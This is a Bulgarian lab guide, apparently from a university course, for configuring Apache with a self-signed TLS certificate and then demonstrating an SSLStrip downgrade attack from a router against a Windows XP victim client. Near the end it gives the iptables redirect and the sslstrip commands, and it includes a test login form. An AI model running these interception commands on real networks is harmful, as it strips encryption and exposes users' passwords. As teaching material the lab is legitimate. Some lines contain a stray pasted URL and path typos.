Apache SSL
Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.
Contents
Мрежови настройки
Router (Attacker)
Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
Настройка DNS
- nano /etc/resolv.conf
nameserver 8.8.4.4
Настройки на Интерфейси: nano /etc/network/interfaces
auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1
allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0
Активиране на NAT
echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local
Web сървър
- nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>
Инсталация на web сървър
Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh
apt-get update
аpt-get install apache2 openssl ssh
Проверка дали работи web сървърът.
telnet localhost 80
GET
Web client (Victim)
windows XP
- IP: 10.3.45.1XX/16
- gateway: 10.3.0.1;
- DNS: 8.8.4.4
- през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
Host машина
Добавяне на път от host машината към web сървъра
route add -net 172.16.1.0/24 gw 10.3.45.100
Web форма
Тестване на web сървъра през Web клиента
- В браузъра се отваря:
http://172.16.1.2/index.html
Качване на форма form.html
- Подгответе web форма и я качете през ssh на веб сървъра
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<body>
<form action="https://172.16.1.2/index.html" method="post">
<table>
<tr>
<td>User: </td>
<td><input type="text" name="name" value="" maxlength="100" /></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="pass" value="" maxlength="100" /></td>
</tr>
<tr>
<td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
</tr>
</table>
</form>
</body>
</html>
Свързване от Хост компютъра към виртуалния Web сървър през ssh.
Отваря се терминал на хост машината и се изпълнява
:-$ ssh student@172.16.1.1
Активиране на https
- Активиране на ssl модул:
a2enmod ssl
- Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
- добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>
Генериране на собствен самоподписан сертификат
- Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys
- Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
- Проверете генерираните файлове
- Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /root/keys/apache.pem
SSLCertificateKeyFile /root/keys/apache.key
...
- Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart
Атака на връзката
Инсталиране sslstrip
apt-get install sslstrip
пренасочване на порт
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
стартиране на sslstrip
sslstrip -L 10000
Да се тества премахването на https връзките.
https://wiki.debian.org/Self-Signed_Certificate
http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html
http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html
http://www.thegeekstuff.com/2011/03/install-apache2-ssl/
http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html